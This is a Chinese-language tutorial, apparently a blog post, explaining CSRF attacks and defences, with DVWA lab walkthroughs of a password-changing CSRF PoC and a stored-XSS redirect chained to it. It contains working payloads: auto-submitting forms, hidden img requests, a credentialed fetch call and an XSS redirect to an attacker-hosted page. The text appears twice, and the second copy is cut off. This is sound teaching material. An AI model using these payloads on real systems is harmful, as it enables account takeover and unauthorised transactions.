本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、定义与核心思想二、详细原理前提条件攻击流程为什么攻击者无法直接读取 Cookie三、CSRF 攻击类型与构造方法3.1 GET 型 CSRF3.2 POST 型 CSRF3.3 JSON / AJAX 型 CSRF3.4 利用 Flash / Silverlight已过时3.5 利用 JSONP 接口四、CSRF 的危害实例五、防御机制详解5.1 CSRF Token最核心、最有效5.2 SameSite Cookie 属性5.3 Referer / Origin 校验5.4 双重提交 CookieDouble Submit Cookie5.5 自定义请求头针对 AJAX5.6 二次验证验证码 / 短信 / 密码5.7 使用 JWT 代替 Cookie 会话六、CSRF 防御措施的缺陷与绕过七、CSRF 与 XSS 的区别最终对比表八、总结九、靶场攻击演示CSRF 漏洞DVWA Low 级别一、实验环境二、漏洞原理三、攻击步骤抓包分析密码修改请求2. 生成 CSRF 攻击 PoCProof of Concept将 PoC 保存为 HTML 文件并启动 HTTP 服务4. 诱使目标访问恶意链接5. 自动执行攻击四、攻击结果验证五、漏洞代码分析DVWA Low六、防御方案对应 Medium/High/Impossible 级别七、总结CSRF XSS 组合攻击DVWA 低级别一、实验环境二、漏洞原理分析1. 存储型 XSS 漏洞DVWA Low2. CSRF 漏洞DVWA Low3. 组合攻击链三、详细攻击步骤步骤 1构造 CSRF 攻击页面PoC步骤 2启动 HTTP 服务步骤 3注入 XSS 载荷存储型步骤 4诱导管理员触发步骤 5验证攻击结果四、攻击流程图五、防御方案六、总结一、定义与核心思想CSRFCross-Site Request Forgery跨站请求伪造是一种利用用户当前已认证的身份在用户不知情的情况下向目标网站发送恶意请求的攻击方式。攻击者无法直接窃取用户的 Cookie但可以强制用户浏览器发送携带 Cookie 的请求从而以用户身份执行非本意的操作。通俗类比你登录了银行网站后去上厕所有人趁你不在拿起你的鼠标点击了“转账给攻击者”按钮。CSRF 就是网络世界里的“借刀杀人”。二、详细原理前提条件用户已经登录目标网站victim.com浏览器保存了有效的会话 Cookie如SESSIONID。目标网站的某个敏感操作如修改密码、转账仅依赖于 Cookie 来识别用户身份没有额外的 CSRF 防御机制如 Token、验证码、Referer 校验等。攻击者能够构造一个指向该敏感操作的完整请求URL 参数。攻击流程步骤说明① 登录用户User通过浏览器访问victim.com输入账号密码服务器验证成功后返回Set-Cookie浏览器保存该 Cookie。② 诱骗攻击者向用户发送恶意链接例如通过电子邮件、论坛私信、广告图片等用户点击后访问攻击者控制的网站evil.com。③ 触发evil.com的页面中包含自动触发的请求代码。例如img srchttp://victim.com/transfer?tohackeramount10000或一个自动提交的表单。④ 发送浏览器在解析evil.com页面时会根据src或表单action向victim.com发起请求。由于浏览器会自动附上victim.com的域名 Cookie这个请求就“看起来”是用户本人发出的。⑤ 执行victim.com的服务器接收到请求校验 Cookie 通过认为这是合法用户的指令于是执行了转账操作。⑥ 完成用户事后可能毫无察觉直到发现账户资金变动。为什么攻击者无法直接读取 Cookie浏览器同源策略Same-Origin Policy阻止evil.com读取victim.com的 Cookie。但 CSRF 不需要读取 Cookie只需要浏览器在发起请求时自动附带即可。这是浏览器机制决定的向某个域名发送请求时如果该域名有 Cookie浏览器会自动加上。三、CSRF 攻击类型与构造方法3.1 GET 型 CSRF最原始、最简单的形式。敏感操作用 GET 方法实现。漏洞代码示例PHP// transfer.php $to $_GET[to]; $amount $_GET[amount]; $sql UPDATE accounts SET balance balance - $amount WHERE usercurrent; $sql2 UPDATE accounts SET balance balance $amount WHERE user$to; // 执行更新...攻击构造!-- 恶意网站 evil.com/index.html -- img srchttp://victim.com/transfer.php?toattackeramount10000 width0 height0或直接使用script、iframe、link等标签。防御敏感操作禁用 GET 方法必须使用 POST。3.2 POST 型 CSRF敏感操作用 POST 方法但攻击者可以构造自动提交的表单。攻击页面代码form actionhttp://victim.com/transfer.php methodPOST idcsrf_form input typehidden nameto valueattacker input typehidden nameamount value10000 /form script document.getElementById(csrf_form).submit(); /script用户访问后表单自动提交浏览器同样携带 Cookie。3.3 JSON / AJAX 型 CSRF现代 Web 应用常使用 RESTful API请求体为 JSON 格式且通常需要Content-Type: application/json。跨域请求时浏览器会先发送OPTIONS 预检请求。如果服务器配置了Access-Control-Allow-Origin: *且允许Content-Type则可能被 CSRF。攻击代码fetch(http://api.victim.com/transfer, { method: POST, credentials: include, // 携带 Cookie headers: {Content-Type: application/json}, body: JSON.stringify({to: attacker, amount: 10000}) });防御服务器应严格校验Origin头不使用Access-Control-Allow-Origin: *同时允许携带凭证。3.4 利用 Flash / Silverlight已过时历史上有利用跨域策略文件crossdomain.xml进行 CSRF 的攻击方式现在已经很少见。3.5 利用 JSONP 接口某些网站提供 JSONP 接口callbackfunction攻击者可以通过script标签发起 GET 请求并执行回调如果 JSONP 接口有副作用则可被 CSRF。四、CSRF 的危害实例场景危害银行 / 支付转账、消费、提现社交网络发布状态、删除好友、发送私信、修改个人资料邮件系统修改过滤规则、转发邮件、创建垃圾邮件规则企业系统创建管理员账户、修改权限、删除数据电商平台下单、修改收货地址、申请退款五、防御机制详解5.1 CSRF Token最核心、最有效原理服务器生成一个随机且不可预测的 Token与用户会话绑定并嵌入到表单或请求头中。服务器在处理敏感请求时验证 Token 是否正确。攻击者无法获取该 Token除非存在 XSS因此无法构造合法请求。具体实现步骤用户打开表单页面时服务器生成随机 Token 存入 Session并输出到表单隐藏字段input typehidden namecsrf_token valueaB3x9ZqW...用户提交表单时Token 随请求发送。服务器收到请求后比较提交的 Token 与 Session 中保存的是否一致。若不一致或缺失拒绝请求。Token 的设计要求足够长且随机至少 128 位使用密码学安全随机数生成器。与用户会话绑定不同用户不同 Token且建议每次请求后更新或使用时间窗口。对于 AJAX 请求可将 Token 放入自定义 HTTP 头如X-CSRF-Token。框架内置支持Django{% csrf_token %}中间件自动验证。Laravelcsrf指令。Spring Security默认启用 CSRF Token需要 Thymeleaf 或手动嵌入。5.2 SameSite Cookie 属性背景CSRF 的根源在于浏览器自动携带 Cookie。如果 Cookie 被标记为SameSite浏览器将限制跨站请求携带该 Cookie。SameSite 值行为安全性Strict任何跨站请求包括从外部链接点击进入都不携带 Cookie。最安全但可能影响用户体验例如从邮件点击链接进入网站需要重新登录。Lax允许部分跨站 GET 请求如a链接、link、img的 GET但禁止 POST 等非安全方法。平衡安全与体验是目前推荐的默认值。None允许跨站携带 Cookie但必须同时设置Secure仅 HTTPS。不安全除非明确需要第三方 Cookie如 iframe 嵌入。设置方式HTTP 响应头Set-Cookie: sessionidabc123; SameSiteLax; Secure; HttpOnly现代浏览器Chrome 80默认将未指定 SameSite 的 Cookie 视为Lax这大大缓解了 CSRF 风险但不是所有用户都升级了浏览器。5.3 Referer / Origin 校验原理检查请求头中的Referer或Origin判断来源域名是否在白名单内。Origin头只包含协议域名无路径更可靠。在 POST、PUT、DELETE 等请求中通常存在。Referer头包含完整 URL可能因为隐私策略如 HTTPS→HTTP不发送或被人为截断。校验逻辑获取Origin或Referer。如果为空可放行或拒绝视策略而定。检查是否为http://victim.com或https://victim.com不允许第三方域名。注意事项不能仅依赖 Referer因为某些环境不发送。攻击者可能通过 meta 标签或其他方式控制 Referer但有限制。可以作为辅助防御但不能替代 Token。5.4 双重提交 CookieDouble Submit Cookie原理服务器生成随机 Token同时将其写入 Cookie 和请求参数或请求头。服务器收到请求后比较 Cookie 中的 Token 与参数中的 Token 是否一致。攻击者无法读取 Cookie因此无法伪造参数中的 Token。步骤用户访问页面时服务器生成 Token 并设置 Cookie同时前端 JS 读取 Cookie 中的 Token通过document.cookie放入请求参数或自定义头。提交请求时Cookie 自动携带参数/头中也包含该 Token。服务器验证两者是否匹配。优点无状态不需要服务器存储 Session。缺点如果存在 XSS攻击者可读取 Cookie 中的 Token从而绕过。且要求 Cookie 非 HttpOnly。5.5 自定义请求头针对 AJAX对于 AJAX / API 请求可以要求客户端必须携带一个自定义请求头例如X-Requested-With: XMLHttpRequest或X-CSRF-Protection: 1。浏览器在同源策略下跨域请求无法添加自定义头除非通过 CORS 预检且服务器明确允许。攻击者无法通过img、form等标签添加自定义头。注意此方法不能防御表单 POST因为表单无法添加自定义头只适用于 AJAX / Fetch。5.6 二次验证验证码 / 短信 / 密码对关键操作如转账、修改密码要求用户输入验证码、短信验证码或再次输入密码。这是最彻底的防御但用户体验较差不适合所有操作。5.7 使用 JWT 代替 Cookie 会话如果 API 使用 Bearer Token放在Authorization头中浏览器不会自动附加该 Token攻击者无法通过 CSRF 携带。但 Token 需要前端存储如 localStorage存在 XSS 风险。六、CSRF 防御措施的缺陷与绕过防御措施潜在绕过方式CSRF Token1. 如果存在 XSS攻击者可读取 Token。 2. Token 可预测或未绑定会话。 3. Token 存放在 Cookie 且未进行双重验证攻击者可利用 Cookie 同步。SameSiteLax部分浏览器版本未实现或不严格执行用户点击a链接的 GET 请求仍可发送如果操作用 GET 实现则危险。Referer/Origin 校验1. 可通过meta标签或document.referrer策略限制。 2. 如果校验仅检查字符串包含可使用https://victim.com.attacker.com绕过。 3. 某些环境下 Referer 缺失被放过。双重提交 Cookie存在 XSS 时攻击者可读取 Cookie 中的 Token。自定义请求头仅适用于 AJAX不能防御表单提交。结论多层防御是最佳实践。Token SameSite Cookie Referer 校验 关键操作二次验证。七、CSRF 与 XSS 的区别最终对比表维度CSRFXSS英文全称Cross-Site Request ForgeryCross-Site Scripting中文名称跨站请求伪造跨站脚本攻击攻击本质利用身份验证机制伪造用户请求注入恶意脚本在浏览器中执行触发方式用户访问恶意页面时自动发送伪造请求用户访问包含恶意脚本的页面时脚本自动执行存储型或点击链接触发反射型是否需要用户交互需要用户点击恶意链接或访问恶意网站反射型需要点击存储型不需要攻击对象目标网站的服务器执行状态变更操作浏览器执行脚本、窃取信息主要危害修改密码、转账、发帖、删除数据等窃取 Cookie、键盘记录、网页钓鱼、发起 CSRF 等是否依赖 Cookie是依赖浏览器自动携带 Cookie不一定可读取 Cookie若未设 HttpOnly防御核心CSRF Token、SameSite Cookie、Referer 校验输出编码、CSP、HttpOnly Cookie常见场景银行转账、社交平台发帖评论区留言、搜索框反射能否相互配合通常需要 XSS 来窃取 Token 才能绕过 Token 防御XSS 可以发起 CSRF 攻击利用用户的 Cookie结果可见性用户可能毫无察觉用户可能看到弹窗或页面异常八、总结CSRF 是一种历史悠久的攻击方式但现代浏览器和框架的改进尤其是 SameSite Cookie已大幅降低了其影响。然而对于老旧系统或未更新配置的应用CSRF 仍然是严重威胁。开发者应优先采用CSRF Token SameSiteLax的组合并对关键操作添加二次验证。同时防御 XSS 也是防御 CSRF 的重要一环因为 XSS 可以绕过几乎所有 CSRF 防护读取 Token、发送请求等。九、靶场攻击演示CSRF 漏洞DVWA Low 级别一、实验环境靶场DVWA (Damn Vulnerable Web Application)安全级别Low目标功能修改管理员密码/vulnerabilities/csrf/攻击机Kali LinuxIP 假设为192.168.xxx.xxx工具Burp Suite Professional、Python HTTP Server、浏览器二、漏洞原理DVWA Low 级别的修改密码功能使用GET 请求传递参数GET /vulnerabilities/csrf/?password_new123456password_conf123456ChangeChange仅依赖 Cookie 验证用户身份PHPSESSID无 CSRF Token、无 Referer 强校验、无二次验证攻击者可构造恶意页面诱使已登录管理员访问自动提交密码修改请求三、攻击步骤抓包分析密码修改请求使用 Burp Suite 拦截修改密码的请求得到以下原始数据GET /vulnerabilities/csrf/?password_new1password_conf1ChangeChange HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 ... Cookie: PHPSESSIDdfs1mgkrcodvkust8r01am2t3; securitylow2. 生成 CSRF 攻击 PoCProof of Concept在 Burp Suite 中右键请求 →Engagement tools→Generate CSRF PoC。Burp 自动生成一个 HTML 表单用于自动提交恶意请求。原始生成的表单可能字段名不匹配需要手动修改为正确的参数名!-- CSRF PoC - 修改密码为 123456 -- body form actionhttp://192.168.xxx.xxx/vulnerabilities/csrf/ methodGET input typehidden namepassword_new value123456 / input typehidden namepassword_conf value123456 / input typehidden nameChange valueChange / input typesubmit valueSubmit request / /form script history.pushState(, , ); document.forms[0].submit(); /script /body /html将 PoC 保存为 HTML 文件并启动 HTTP 服务将上述代码保存为hacker.html放置在攻击机 Web 目录如/var/www/html/或任意目录然后启动 HTTP 服务python3 -m http.server 804. 诱使目标访问恶意链接管理员已登录 DVWA被诱导访问http://攻击机IP/hacker.html5. 自动执行攻击浏览器加载hacker.html后页面内的 JavaScript 会立即自动提交表单。由于浏览器会自动附上 DVWA 的 CookiePHPSESSID服务器认为请求来自合法管理员。密码被修改为123456页面显示“Password Changed”。四、攻击结果验证再次尝试使用原密码登录 DVWA失败。使用新密码123456成功登录证明密码已被篡改。五、漏洞代码分析DVWA Lowif (isset($_GET[Change])) { $pass_new $_GET[password_new]; $pass_conf $_GET[password_conf]; if ($pass_new $pass_conf) { $sql UPDATE users SET password MD5($pass_new) WHERE user admin; mysqli_query($GLOBALS[___mysqli_ston], $sql); echo prePassword Changed/pre; } }无任何 CSRF 防护措施无 Token、无 Referer 检查、无验证码使用 GET 方法更易被利用六、防御方案对应 Medium/High/Impossible 级别级别防御措施Medium检查HTTP_REFERER要求 Referer 必须包含服务器域名可被绕过。High引入CSRF Token每次修改密码需携带随机 Token。Impossible结合 Token 用户当前密码验证需输入旧密码彻底防御 CSRF。七、总结本次实战完整展示了 CSRF 漏洞的利用过程识别漏洞目标功能使用 GET 请求且无 Token。构造 PoC使用 Burp Suite 生成自动提交表单。社会工程学诱使管理员点击恶意链接。成功篡改管理员密码被修改造成账号失陷。核心教训任何涉及状态变更的操作修改密码、转账、发帖等都必须实施 CSRF 防护如 Token、SameSite Cookie、二次验证等。CSRF XSS 组合攻击DVWA 低级别一、实验环境靶场DVWADamn Vulnerable Web Application安全级别Low涉及漏洞存储型 XSSStored XSS—— 留言板模块CSRFCross-Site Request Forgery—— 修改密码模块攻击目标通过存储型 XSS 植入恶意脚本将已登录管理员强制跳转到攻击者构造的 CSRF 页面自动修改管理员密码。二、漏洞原理分析1. 存储型 XSS 漏洞DVWA Low留言板的Name或Message字段未对用户输入进行过滤或转义。攻击者可以提交包含 JavaScript 代码的内容该内容被存储到数据库。当其他用户如管理员访问留言板页面时恶意脚本会在其浏览器中执行。2. CSRF 漏洞DVWA Low修改密码功能使用 GET 请求且无任何 CSRF 防护无 Token、无 Referer 校验。请求示例http://靶场IP/vulnerabilities/csrf/?password_new123456password_conf123456ChangeChange只要用户携带有效的会话 Cookie 访问该 URL密码就会被修改。3. 组合攻击链XSS 作为“搬运工”CSRF 作为“最终 payload”利用 XSS 将受害者从留言板页面强制重定向到攻击者预先构造的 CSRF 恶意页面从而自动完成密码篡改。三、详细攻击步骤步骤 1构造 CSRF 攻击页面PoC在攻击机Kali上使用 Burp Suite 生成 CSRF PoC 代码。登录 DVWA进入 CSRF 模块/vulnerabilities/csrf/。修改密码时抓包得到 GET 请求。右键 →Engagement tools→Generate CSRF PoC。修改生成的 HTML 表单确保参数名正确password_new、password_conf、Change。将 PoC 保存为hacker.html内容如下示例!— CSRF PoC — body form actionhttp://192.168.xxx.xxx/vulnerabilities/csrf/ methodGET input typehidden namepassword_new value111111 / input typehidden namepassword_conf value111111 / input typehidden nameChange valueChange / /form script document.forms[0].submit(); /script /body /html步骤 2启动 HTTP 服务在攻击机上启动一个简单的 Web 服务器用于托管hacker.htmlpython3 -m http.server 80此时攻击机 IP 为192.168.xxx.xxx恶意页面可通过http://攻击机IP/hacker.html访问。步骤 3注入 XSS 载荷存储型登录 DVWA低级别进入XSS (Stored)模块留言板。在Name或Message字段中注入恶意脚本目的是让访问留言板的用户自动跳转到 CSRF 页面。常见载荷scriptlocation.hrefhttp://攻击机IP/hacker.html;/script由于 DVWA Low 级别对 Name 字段有长度限制maxlength10可以通过修改前端 HTML 属性maxlength100或直接使用 Message 字段长度更大来注入完整脚本。提交后该脚本被存储到数据库。步骤 4诱导管理员触发管理员已登录 DVWA正常访问留言板页面/vulnerabilities/xss_s/。页面加载时存储的恶意脚本被执行浏览器自动跳转到http://攻击机IP/hacker.html。hacker.html加载后自动提交表单向 DVWA 发送修改密码的 GET 请求携带管理员的 Cookie。步骤 5验证攻击结果管理员密码被修改为111111。再次访问 DVWA 登录页面使用原密码失败使用新密码111111成功登录。靶场页面显示Password Changed。四、攻击流程图[攻击者] ├─ ① 构造 CSRF PoC (hacker.html) 并启动 HTTP 服务 └─ ② 在留言板注入 XSS 载荷 scriptlocation.hrefhttp://攻击机/hacker.html/script [管理员已登录] ├─ ③ 访问留言板页面 ├─ ④ 触发 XSS被重定向到攻击者服务器 └─ ⑤ 自动提交 CSRF 表单修改密码为 111111五、防御方案漏洞类型防御措施存储型 XSS1. 对用户输入进行 HTML 实体编码如htmlspecialchars。 2. 使用内容安全策略CSP限制脚本执行。 3. 对富文本内容使用安全过滤库如 HTMLPurifier。CSRF1. 使用 CSRF Token每个用户会话绑定随机 Token。 2. 关键操作改为 POST 请求并验证 Referer/Origin。 3. 设置 Cookie 的SameSiteLax或Strict属性。组合漏洞同时修复 XSS 和 CSRF 两类漏洞缺一不可。XSS 可被用作 CSRF 的“跳板”必须切断攻击链条的每一环节。六、总结本次实战展示了XSS 与 CSRF 组合攻击的典型利用方式存储型 XSS负责“传播”和“跳转”CSRF负责“执行恶意操作”两条漏洞链串联使得一个低危漏洞XSS升级为中高危账户劫持。这提醒我们在安全防御中任何一个孤立的漏洞都可能被组合利用产生严重的连锁反应。修复漏洞时应考虑整体安全架构而非单一补丁。
Web渗透之前后端漏洞-CSRF（跨站请求伪造）
发布时间：2026/6/13 21:51:05
本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、定义与核心思想二、详细原理前提条件攻击流程为什么攻击者无法直接读取 Cookie三、CSRF 攻击类型与构造方法3.1 GET 型 CSRF3.2 POST 型 CSRF3.3 JSON / AJAX 型 CSRF3.4 利用 Flash / Silverlight已过时3.5 利用 JSONP 接口四、CSRF 的危害实例五、防御机制详解5.1 CSRF Token最核心、最有效5.2 SameSite Cookie 属性5.3 Referer / Origin 校验5.4 双重提交 CookieDouble Submit Cookie5.5 自定义请求头针对 AJAX5.6 二次验证验证码 / 短信 / 密码5.7 使用 JWT 代替 Cookie 会话六、CSRF 防御措施的缺陷与绕过七、CSRF 与 XSS 的区别最终对比表八、总结九、靶场攻击演示CSRF 漏洞DVWA Low 级别一、实验环境二、漏洞原理三、攻击步骤抓包分析密码修改请求2. 生成 CSRF 攻击 PoCProof of Concept将 PoC 保存为 HTML 文件并启动 HTTP 服务4. 诱使目标访问恶意链接5. 自动执行攻击四、攻击结果验证五、漏洞代码分析DVWA Low六、防御方案对应 Medium/High/Impossible 级别七、总结CSRF XSS 组合攻击DVWA 低级别一、实验环境二、漏洞原理分析1. 存储型 XSS 漏洞DVWA Low2. CSRF 漏洞DVWA Low3. 组合攻击链三、详细攻击步骤步骤 1构造 CSRF 攻击页面PoC步骤 2启动 HTTP 服务步骤 3注入 XSS 载荷存储型步骤 4诱导管理员触发步骤 5验证攻击结果四、攻击流程图五、防御方案六、总结一、定义与核心思想CSRFCross-Site Request Forgery跨站请求伪造是一种利用用户当前已认证的身份在用户不知情的情况下向目标网站发送恶意请求的攻击方式。攻击者无法直接窃取用户的 Cookie但可以强制用户浏览器发送携带 Cookie 的请求从而以用户身份执行非本意的操作。通俗类比你登录了银行网站后去上厕所有人趁你不在拿起你的鼠标点击了“转账给攻击者”按钮。CSRF 就是网络世界里的“借刀杀人”。二、详细原理前提条件用户已经登录目标网站victim.com浏览器保存了有效的会话 Cookie如SESSIONID。目标网站的某个敏感操作如修改密码、转账仅依赖于 Cookie 来识别用户身份没有额外的 CSRF 防御机制如 Token、验证码、Referer 校验等。攻击者能够构造一个指向该敏感操作的完整请求URL 参数。攻击流程步骤说明① 登录用户User通过浏览器访问victim.com输入账号密码服务器验证成功后返回Set-Cookie浏览器保存该 Cookie。② 诱骗攻击者向用户发送恶意链接例如通过电子邮件、论坛私信、广告图片等用户点击后访问攻击者控制的网站evil.com。③ 触发evil.com的页面中包含自动触发的请求代码。例如img srchttp://victim.com/transfer?tohackeramount10000或一个自动提交的表单。④ 发送浏览器在解析evil.com页面时会根据src或表单action向victim.com发起请求。由于浏览器会自动附上victim.com的域名 Cookie这个请求就“看起来”是用户本人发出的。⑤ 执行victim.com的服务器接收到请求校验 Cookie 通过认为这是合法用户的指令于是执行了转账操作。⑥ 完成用户事后可能毫无察觉直到发现账户资金变动。为什么攻击者无法直接读取 Cookie浏览器同源策略Same-Origin Policy阻止evil.com读取victim.com的 Cookie。但 CSRF 不需要读取 Cookie只需要浏览器在发起请求时自动附带即可。这是浏览器机制决定的向某个域名发送请求时如果该域名有 Cookie浏览器会自动加上。三、CSRF 攻击类型与构造方法3.1 GET 型 CSRF最原始、最简单的形式。敏感操作用 GET 方法实现。漏洞代码示例PHP// transfer.php $to $_GET[to]; $amount $_GET[amount]; $sql UPDATE accounts SET balance balance - $amount WHERE usercurrent; $sql2 UPDATE accounts SET balance balance $amount WHERE user$to; // 执行更新...攻击构造!-- 恶意网站 evil.com/index.html -- img srchttp://victim.com/transfer.php?toattackeramount10000 width0 height0或直接使用script、iframe、link等标签。防御敏感操作禁用 GET 方法必须使用 POST。3.2 POST 型 CSRF敏感操作用 POST 方法但攻击者可以构造自动提交的表单。攻击页面代码form actionhttp://victim.com/transfer.php methodPOST idcsrf_form input typehidden nameto valueattacker input typehidden nameamount value10000 /form script document.getElementById(csrf_form).submit(); /script用户访问后表单自动提交浏览器同样携带 Cookie。3.3 JSON / AJAX 型 CSRF现代 Web 应用常使用 RESTful API请求体为 JSON 格式且通常需要Content-Type: application/json。跨域请求时浏览器会先发送OPTIONS 预检请求。如果服务器配置了Access-Control-Allow-Origin: *且允许Content-Type则可能被 CSRF。攻击代码fetch(http://api.victim.com/transfer, { method: POST, credentials: include, // 携带 Cookie headers: {Content-Type: application/json}, body: JSON.stringify({to: attacker, amount: 10000}) });防御服务器应严格校验Origin头不使用Access-Control-Allow-Origin: *同时允许携带凭证。3.4 利用 Flash / Silverlight已过时历史上有利用跨域策略文件crossdomain.xml进行 CSRF 的攻击方式现在已经很少见。3.5 利用 JSONP 接口某些网站提供 JSONP 接口callbackfunction攻击者可以通过script标签发起 GET 请求并执行回调如果 JSONP 接口有副作用则可被 CSRF。四、CSRF 的危害实例场景危害银行 / 支付转账、消费、提现社交网络发布状态、删除好友、发送私信、修改个人资料邮件系统修改过滤规则、转发邮件、创建垃圾邮件规则企业系统创建管理员账户、修改权限、删除数据电商平台下单、修改收货地址、申请退款五、防御机制详解5.1 CSRF Token最核心、最有效原理服务器生成一个随机且不可预测的 Token与用户会话绑定并嵌入到表单或请求头中。服务器在处理敏感请求时验证 Token 是否正确。攻击者无法获取该 Token除非存在 XSS因此无法构造合法请求。具体实现步骤用户打开表单页面时服务器生成随机 Token 存入 Session并输出到表单隐藏字段input typehidden namecsrf_token valueaB3x9ZqW...用户提交表单时Token 随请求发送。服务器收到请求后比较提交的 Token 与 Session 中保存的是否一致。若不一致或缺失拒绝请求。Token 的设计要求足够长且随机至少 128 位使用密码学安全随机数生成器。与用户会话绑定不同用户不同 Token且建议每次请求后更新或使用时间窗口。对于 AJAX 请求可将 Token 放入自定义 HTTP 头如X-CSRF-Token。框架内置支持Django{% csrf_token %}中间件自动验证。Laravelcsrf指令。Spring Security默认启用 CSRF Token需要 Thymeleaf 或手动嵌入。5.2 SameSite Cookie 属性背景CSRF 的根源在于浏览器自动携带 Cookie。如果 Cookie 被标记为SameSite浏览器将限制跨站请求携带该 Cookie。SameSite 值行为安全性Strict任何跨站请求包括从外部链接点击进入都不携带 Cookie。最安全但可能影响用户体验例如从邮件点击链接进入网站需要重新登录。Lax允许部分跨站 GET 请求如a链接、link、img的 GET但禁止 POST 等非安全方法。平衡安全与体验是目前推荐的默认值。None允许跨站携带 Cookie但必须同时设置Secure仅 HTTPS。不安全除非明确需要第三方 Cookie如 iframe 嵌入。设置方式HTTP 响应头Set-Cookie: sessionidabc123; SameSiteLax; Secure; HttpOnly现代浏览器Chrome 80默认将未指定 SameSite 的 Cookie 视为Lax这大大缓解了 CSRF 风险但不是所有用户都升级了浏览器。5.3 Referer / Origin 校验原理检查请求头中的Referer或Origin判断来源域名是否在白名单内。Origin头只包含协议域名无路径更可靠。在 POST、PUT、DELETE 等请求中通常存在。Referer头包含完整 URL可能因为隐私策略如 HTTPS→HTTP不发送或被人为截断。校验逻辑获取Origin或Referer。如果为空可放行或拒绝视策略而定。检查是否为http://victim.com或https://victim.com不允许第三方域名。注意事项不能仅依赖 Referer因为某些环境不发送。攻击者可能通过 meta 标签或其他方式控制 Referer但有限制。可以作为辅助防御但不能替代 Token。5.4 双重提交 CookieDouble Submit Cookie原理服务器生成随机 Token同时将其写入 Cookie 和请求参数或请求头。服务器收到请求后比较 Cookie 中的 Token 与参数中的 Token 是否一致。攻击者无法读取 Cookie因此无法伪造参数中的 Token。步骤用户访问页面时服务器生成 Token 并设置 Cookie同时前端 JS 读取 Cookie 中的 Token通过document.cookie放入请求参数或自定义头。提交请求时Cookie 自动携带参数/头中也包含该 Token。服务器验证两者是否匹配。优点无状态不需要服务器存储 Session。缺点如果存在 XSS攻击者可读取 Cookie 中的 Token从而绕过。且要求 Cookie 非 HttpOnly。5.5 自定义请求头针对 AJAX对于 AJAX / API 请求可以要求客户端必须携带一个自定义请求头例如X-Requested-With: XMLHttpRequest或X-CSRF-Protection: 1。浏览器在同源策略下跨域请求无法添加自定义头除非通过 CORS 预检且服务器明确允许。攻击者无法通过img、form等标签添加自定义头。注意此方法不能防御表单 POST因为表单无法添加自定义头只适用于 AJAX / Fetch。5.6 二次验证验证码 / 短信 / 密码对关键操作如转账、修改密码要求用户输入验证码、短信验证码或再次输入密码。这是最彻底的防御但用户体验较差不适合所有操作。5.7 使用 JWT 代替 Cookie 会话如果 API 使用 Bearer Token放在Authorization头中浏览器不会自动附加该 Token攻击者无法通过 CSRF 携带。但 Token 需要前端存储如 localStorage存在 XSS 风险。六、CSRF 防御措施的缺陷与绕过防御措施潜在绕过方式CSRF Token1. 如果存在 XSS攻击者可读取 Token。 2. Token 可预测或未绑定会话。 3. Token 存放在 Cookie 且未进行双重验证攻击者可利用 Cookie 同步。SameSiteLax部分浏览器版本未实现或不严格执行用户点击a链接的 GET 请求仍可发送如果操作用 GET 实现则危险。Referer/Origin 校验1. 可通过meta标签或document.referrer策略限制。 2. 如果校验仅检查字符串包含可使用https://victim.com.attacker.com绕过。 3. 某些环境下 Referer 缺失被放过。双重提交 Cookie存在 XSS 时攻击者可读取 Cookie 中的 Token。自定义请求头仅适用于 AJAX不能防御表单提交。结论多层防御是最佳实践。Token SameSite Cookie Referer 校验 关键操作二次验证。七、CSRF 与 XSS 的区别最终对比表维度CSRFXSS英文全称Cross-Site Request ForgeryCross-Site Scripting中文名称跨站请求伪造跨站脚本攻击攻击本质利用身份验证机制伪造用户请求注入恶意脚本在浏览器中执行触发方式用户访问恶意页面时自动发送伪造请求用户访问包含恶意脚本的页面时脚本自动执行存储型或点击链接触发反射型是否需要用户交互需要用户点击恶意链接或访问恶意网站反射型需要点击存储型不需要攻击对象目标网站的服务器执行状态变更操作浏览器执行脚本、窃取信息主要危害修改密码、转账、发帖、删除数据等窃取 Cookie、键盘记录、网页钓鱼、发起 CSRF 等是否依赖 Cookie是依赖浏览器自动携带 Cookie不一定可读取 Cookie若未设 HttpOnly防御核心CSRF Token、SameSite Cookie、Referer 校验输出编码、CSP、HttpOnly Cookie常见场景银行转账、社交平台发帖评论区留言、搜索框反射能否相互配合通常需要 XSS 来窃取 Token 才能绕过 Token 防御XSS 可以发起 CSRF 攻击利用用户的 Cookie结果可见性用户可能毫无察觉用户可能看到弹窗或页面异常八、总结CSRF 是一种历史悠久的攻击方式但现代浏览器和框架的改进尤其是 SameSite Cookie已大幅降低了其影响。然而对于老旧系统或未更新配置的应用CSRF 仍然是严重威胁。开发者应优先采用CSRF Token SameSiteLax的组合并对关键操作添加二次验证。同时防御 XSS 也是防御 CSRF 的重要一环因为 XSS 可以绕过几乎所有 CSRF 防护读取 Token、发送请求等。九、靶场攻击演示CSRF 漏洞DVWA Low 级别一、实验环境靶场DVWA (Damn Vulnerable Web Application)安全级别Low目标功能修改管理员密码/vulnerabilities/csrf/攻击机Kali LinuxIP 假设为192.168.xxx.xxx工具Burp Suite Professional、Python HTTP Server、浏览器二、漏洞原理DVWA Low 级别的修改密码功能使用GET 请求传递参数GET /vulnerabilities/csrf/?password_new123456password_conf123456ChangeChange仅依赖 Cookie 验证用户身份PHPSESSID无 CSRF Token、无 Referer 强校验、无二次验证攻击者可构造恶意页面诱使已登录管理员访问自动提交密码修改请求三、攻击步骤抓包分析密码修改请求使用 Burp Suite 拦截修改密码的请求得到以下原始数据GET /vulnerabilities/csrf/?password_new1password_conf1ChangeChange HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 ... Cookie: PHPSESSIDdfs1mgkrcodvkust8r01am2t3; securitylow2. 生成 CSRF 攻击 PoCProof of Concept在 Burp Suite 中右键请求 →Engagement tools→Generate CSRF PoC。Burp 自动生成一个 HTML 表单用于自动提交恶意请求。原始生成的表单可能字段名不匹配需要手动修改为正确的参数名!-- CSRF PoC - 修改密码为 123456 -- body form actionhttp://192.168.xxx.xxx/vulnerabilities/csrf/ methodGET input typehidden namepassword_new value123456 / input typehidden namepassword_conf value123456 / input typehidden nameChange valueChange / input typesubmit valueSubmit request / /form script history.pushState(, , ); document.forms[0].submit(); /script /body /html将 PoC 保存为 HTML 文件并启动 HTTP 服务将上述代码保存为hacker.html放置在攻击机 Web 